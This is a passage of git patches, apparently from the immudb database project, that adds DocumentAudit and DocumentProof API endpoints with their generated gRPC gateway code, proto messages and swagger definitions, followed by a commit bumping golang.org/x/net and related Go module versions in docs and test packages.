runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_DocumentAudit_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_DocumentService_DocumentProof_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_DocumentProof_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_DocumentProof_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("PUT", pattern_DocumentService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -466,6 +580,46 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) + mux.Handle("POST", pattern_DocumentService_DocumentAudit_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_DocumentAudit_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_DocumentAudit_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_DocumentService_DocumentProof_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_DocumentProof_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_DocumentProof_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("PUT", pattern_DocumentService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -554,6 +708,10 @@ var ( pattern_DocumentService_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DocumentAudit_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "audit"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_DocumentService_DocumentProof_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "proof"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_CollectionCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "create"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_CollectionGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "get"}, "", runtime.AssumeColonVerbOpt(true))) @@ -568,6 +726,10 @@ var ( forward_DocumentService_DocumentSearch_0 = runtime.ForwardResponseMessage + forward_DocumentService_DocumentAudit_0 = runtime.ForwardResponseMessage + + forward_DocumentService_DocumentProof_0 = runtime.ForwardResponseMessage + forward_DocumentService_CollectionCreate_0 = runtime.ForwardResponseMessage forward_DocumentService_CollectionGet_0 = runtime.ForwardResponseMessage diff --git a/pkg/api/documentsschema/documentsschema.proto b/pkg/api/documentsschema/documentsschema.proto index fbc9455bb6..7adeaf4c65 100644 --- a/pkg/api/documentsschema/documentsschema.proto +++ b/pkg/api/documentsschema/documentsschema.proto @@ -82,6 +82,40 @@ message DocumentSearchResponse { uint32 entriesLeft = 4; } + +message DocumentProofRequest { + string collection = 1; + map primaryKeys = 2; + int64 atRevision = 3; +} + + +message DocumentProofResponse { + schema.VerifiableTx proof = 1; +} + + +message DocumentAuditRequest { + string collection = 1; + map primaryKeys = 2; + uint32 page = 3; + uint32 perPage = 4; +} + + +message DocumentAuditResponse { + repeated DocumentAudit results = 1; + uint32 page = 2; + uint32 perPage = 3; + uint32 entriesLeft = 4; +} + +message DocumentAudit { + google.protobuf.Struct value = 1; + uint64 transactionID = 2; +} + + message IndexOption { IndexType type = 1; } @@ -157,6 +191,27 @@ service DocumentService { }; } + + rpc DocumentAudit(DocumentAuditRequest) returns (DocumentAuditResponse) { + option (google.api.http) = { + post: "/documents/audit" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: ["documents", "audit"]; + }; + } + + rpc DocumentProof(DocumentProofRequest) returns (DocumentProofResponse) { + option (google.api.http) = { + post: "/documents/proof" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: ["documents", "audit"]; + }; + } + rpc CollectionCreate(CollectionCreateRequest) returns (CollectionCreateResponse) { option (google.api.http) = { put: "/collections/create" diff --git a/pkg/api/documentsschema/documentsschema.swagger.json b/pkg/api/documentsschema/documentsschema.swagger.json index 05e65edfe3..31c28861e8 100644 --- a/pkg/api/documentsschema/documentsschema.swagger.json +++ b/pkg/api/documentsschema/documentsschema.swagger.json @@ -137,6 +137,39 @@ ] } }, + "/documents/audit": { + "post": { + "operationId": "DocumentService_DocumentAudit", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/documentsschemaDocumentAuditResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/documentsschemaDocumentAuditRequest" + } + } + ], + "tags": [ + "documents", + "audit" + ] + } + }, "/documents/insert": { "put": { "operationId": "DocumentService_DocumentInsert", @@ -169,6 +202,39 @@ ] } }, + "/documents/proof": { + "post": { + "operationId": "DocumentService_DocumentProof", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/documentsschemaDocumentProofResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/documentsschemaDocumentProofRequest" + } + } + ], + "tags": [ + "documents", + "audit" + ] + } + }, "/documents/search": { "post": { "operationId": "DocumentService_DocumentSearch", @@ -281,6 +347,63 @@ } } }, + "documentsschemaDocumentAudit": { + "type": "object", + "properties": { + "value": { + "type": "object" + }, + "transactionID": { + "type": "string", + "format": "uint64" + } + } + }, + "documentsschemaDocumentAuditRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "primaryKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/documentsschemaIndexValue" + } + }, + "page": { + "type": "integer", + "format": "int64" + }, + "perPage": { + "type": "integer", + "format": "int64" + } + } + }, + "documentsschemaDocumentAuditResponse": { + "type": "object", + "properties": { + "results": { + "type": "array", + "items": { + "$ref": "#/definitions/documentsschemaDocumentAudit" + } + }, + "page": { + "type": "integer", + "format": "int64" + }, + "perPage": { + "type": "integer", + "format": "int64" + }, + "entriesLeft": { + "type": "integer", + "format": "int64" + } + } + }, "documentsschemaDocumentInsertRequest": { "type": "object", "properties": { @@ -303,6 +426,32 @@ } } }, + "documentsschemaDocumentProofRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "primaryKeys": { + "type": "object", + "additionalProperties": { + "$ref": "#/definitions/documentsschemaIndexValue" + } + }, + "atRevision": { + "type": "string", + "format": "int64" + } + } + }, + "documentsschemaDocumentProofResponse": { + "type": "object", + "properties": { + "proof": { + "$ref": "#/definitions/schemaVerifiableTx" + } + } + }, "documentsschemaDocumentQuery": { "type": "object", "properties": { @@ -379,6 +528,24 @@ ], "default": "DOUBLE" }, + "documentsschemaIndexValue": { + "type": "object", + "properties": { + "null_value": { + "type": "string" + }, + "number_value": { + "type": "number", + "format": "double" + }, + "string_value": { + "type": "string" + }, + "bool_value": { + "type": "boolean" + } + } + }, "documentsschemaQueryOperator": { "type": "string", "enum": [ @@ -829,8 +996,8 @@ "securityDefinitions": { "bearer": { "type": "apiKey", - "description": "Authentication token, prefixed by Bearer: Bearer \u003ctoken\u003e", - "name": "Authorization", + "description": "Session token: \u003ctoken\u003e", + "name": "grpc-metadata-sessionid", "in": "header" } }, diff --git a/pkg/api/documentsschema/documentsschema_grpc.pb.go b/pkg/api/documentsschema/documentsschema_grpc.pb.go index 262c251e03..20165ce946 100644 --- a/pkg/api/documentsschema/documentsschema_grpc.pb.go +++ b/pkg/api/documentsschema/documentsschema_grpc.pb.go @@ -20,6 +20,8 @@ const _ = grpc.SupportPackageIsVersion7 type DocumentServiceClient interface { DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) + DocumentAudit(ctx context.Context, in *DocumentAuditRequest, opts ...grpc.CallOption) (*DocumentAuditResponse, error) + DocumentProof(ctx context.Context, in *DocumentProofRequest, opts ...grpc.CallOption) (*DocumentProofResponse, error) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionCreateResponse, error) CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionGetResponse, error) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) @@ -52,6 +54,24 @@ func (c *documentServiceClient) DocumentSearch(ctx context.Context, in *Document return out, nil } +func (c *documentServiceClient) DocumentAudit(ctx context.Context, in *DocumentAuditRequest, opts ...grpc.CallOption) (*DocumentAuditResponse, error) { + out := new(DocumentAuditResponse) + err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/DocumentAudit", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *documentServiceClient) DocumentProof(ctx context.Context, in *DocumentProofRequest, opts ...grpc.CallOption) (*DocumentProofResponse, error) { + out := new(DocumentProofResponse) + err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/DocumentProof", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *documentServiceClient) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionCreateResponse, error) { out := new(CollectionCreateResponse) err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/CollectionCreate", in, out, opts...) @@ -94,6 +114,8 @@ func (c *documentServiceClient) CollectionDelete(ctx context.Context, in *Collec type DocumentServiceServer interface { DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) + DocumentAudit(context.Context, *DocumentAuditRequest) (*DocumentAuditResponse, error) + DocumentProof(context.Context, *DocumentProofRequest) (*DocumentProofResponse, error) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionCreateResponse, error) CollectionGet(context.Context, *CollectionGetRequest) (*CollectionGetResponse, error) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) @@ -110,6 +132,12 @@ func (UnimplementedDocumentServiceServer) DocumentInsert(context.Context, *Docum func (UnimplementedDocumentServiceServer) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentSearch not implemented") } +func (UnimplementedDocumentServiceServer) DocumentAudit(context.Context, *DocumentAuditRequest) (*DocumentAuditResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentAudit not implemented") +} +func (UnimplementedDocumentServiceServer) DocumentProof(context.Context, *DocumentProofRequest) (*DocumentProofResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentProof not implemented") +} func (UnimplementedDocumentServiceServer) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionCreateResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionCreate not implemented") } @@ -170,6 +198,42 @@ func _DocumentService_DocumentSearch_Handler(srv interface{}, ctx context.Contex return interceptor(ctx, in, info, handler) } +func _DocumentService_DocumentAudit_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentAuditRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).DocumentAudit(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.documentsschema.DocumentService/DocumentAudit", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).DocumentAudit(ctx, req.(*DocumentAuditRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _DocumentService_DocumentProof_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentProofRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).DocumentProof(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.documentsschema.DocumentService/DocumentProof", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).DocumentProof(ctx, req.(*DocumentProofRequest)) + } + return interceptor(ctx, in, info, handler) +} + func _DocumentService_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CollectionCreateRequest) if err := dec(in); err != nil { @@ -257,6 +321,14 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ MethodName: "DocumentSearch", Handler: _DocumentService_DocumentSearch_Handler, }, + { + MethodName: "DocumentAudit", + Handler: _DocumentService_DocumentAudit_Handler, + }, + { + MethodName: "DocumentProof", + Handler: _DocumentService_DocumentProof_Handler, + }, { MethodName: "CollectionCreate", Handler: _DocumentService_CollectionCreate_Handler, diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 924c2b25bb..ac75e757ce 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -53,3 +53,19 @@ func (s *ImmuServer) CollectionDelete(ctx context.Context, req *documentsschema. } return nil, nil } + +func (s *ImmuServer) DocumentAudit(ctx context.Context, req *documentsschema.DocumentAuditRequest) (*documentsschema.DocumentAuditResponse, error) { + _, err := s.getDBFromCtx(ctx, "DocumentAudit") + if err != nil { + return nil, err + } + return nil, nil +} + +func (s *ImmuServer) DocumentProof(ctx context.Context, req *documentsschema.DocumentProofRequest) (*documentsschema.DocumentProofResponse, error) { + _, err := s.getDBFromCtx(ctx, "DocumentProof") + if err != nil { + return nil, err + } + return nil, nil +} From be9275a74e14987dbf92e04f9db25b9999df802c Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 9 Mar 2023 10:38:56 +0530 Subject: [PATCH 0297/1062] fix(docs): bump golang.org/x/net to 0.7.0 in docs and test pkg --- .../vulnerabilities/linear-fake/go/go.mod | 8 +- .../vulnerabilities/linear-fake/go/go.sum | 12 ++- .../vulnerabilities/linear-fake/server/go.mod | 8 +- .../vulnerabilities/linear-fake/server/go.sum | 12 ++- test/e2e/truncation/go.mod | 8 +- test/e2e/truncation/go.sum | 94 ++++++++----------- 6 files changed, 66 insertions(+), 76 deletions(-) diff --git a/docs/security/vulnerabilities/linear-fake/go/go.mod b/docs/security/vulnerabilities/linear-fake/go/go.mod index 7515577d86..bb46336450 100644 --- a/docs/security/vulnerabilities/linear-fake/go/go.mod +++ b/docs/security/vulnerabilities/linear-fake/go/go.mod @@ -37,10 +37,10 @@ require ( github.com/spf13/viper v1.12.0 // indirect github.com/subosito/gotenv v1.3.0 // indirect golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e // indirect - golang.org/x/net v0.0.0-20220708220712-1185a9018129 // indirect - golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d // indirect - golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect - golang.org/x/text v0.3.7 // indirect + golang.org/x/net v0.7.0 // indirect + golang.org/x/sys v0.5.0 // indirect + golang.org/x/term v0.5.0 // indirect + golang.org/x/text v0.7.0 // indirect google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd // indirect google.golang.org/grpc v1.46.2 // indirect google.golang.org/protobuf v1.28.0 // indirect diff --git a/docs/security/vulnerabilities/linear-fake/go/go.sum b/docs/security/vulnerabilities/linear-fake/go/go.sum index 4e01862805..555b2ae807 100644 --- a/docs/security/vulnerabilities/linear-fake/go/go.sum +++ b/docs/security/vulnerabilities/linear-fake/go/go.sum @@ -727,8 +727,9 @@ golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220708220712-1185a9018129 h1:vucSRfWwTsoXro7P+3Cjlr6flUMtzCwzlvkxEQtHHB0= golang.org/x/net v0.0.0-20220708220712-1185a9018129/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -849,12 +850,14 @@ golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d h1:/m5NbqQelATgoSPVC2Z23sR4kVNokFwDDyWh/3rGY+I= golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -863,8 +866,9 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= diff --git a/docs/security/vulnerabilities/linear-fake/server/go.mod b/docs/security/vulnerabilities/linear-fake/server/go.mod index 27c38af489..c5954cb604 100644 --- a/docs/security/vulnerabilities/linear-fake/server/go.mod +++ b/docs/security/vulnerabilities/linear-fake/server/go.mod @@ -45,10 +45,10 @@ require ( github.com/stretchr/testify v1.8.0 github.com/subosito/gotenv v1.3.0 // indirect golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e // indirect - golang.org/x/net v0.0.0-20220708220712-1185a9018129 // indirect - golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d // indirect - golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect - golang.org/x/text v0.3.7 // indirect + golang.org/x/net v0.7.0 // indirect + golang.org/x/sys v0.5.0 // indirect + golang.org/x/term v0.5.0 // indirect + golang.org/x/text v0.7.0 // indirect google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd // indirect google.golang.org/grpc v1.46.2 // indirect google.golang.org/protobuf v1.28.0 // indirect diff --git a/docs/security/vulnerabilities/linear-fake/server/go.sum b/docs/security/vulnerabilities/linear-fake/server/go.sum index 91b5759949..825fa76ec6 100644 --- a/docs/security/vulnerabilities/linear-fake/server/go.sum +++ b/docs/security/vulnerabilities/linear-fake/server/go.sum @@ -740,8 +740,9 @@ golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220708220712-1185a9018129 h1:vucSRfWwTsoXro7P+3Cjlr6flUMtzCwzlvkxEQtHHB0= golang.org/x/net v0.0.0-20220708220712-1185a9018129/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -862,12 +863,14 @@ golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d h1:/m5NbqQelATgoSPVC2Z23sR4kVNokFwDDyWh/3rGY+I= golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -876,8 +879,9 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk= golang.org/x/text v0.3.7/go.mod 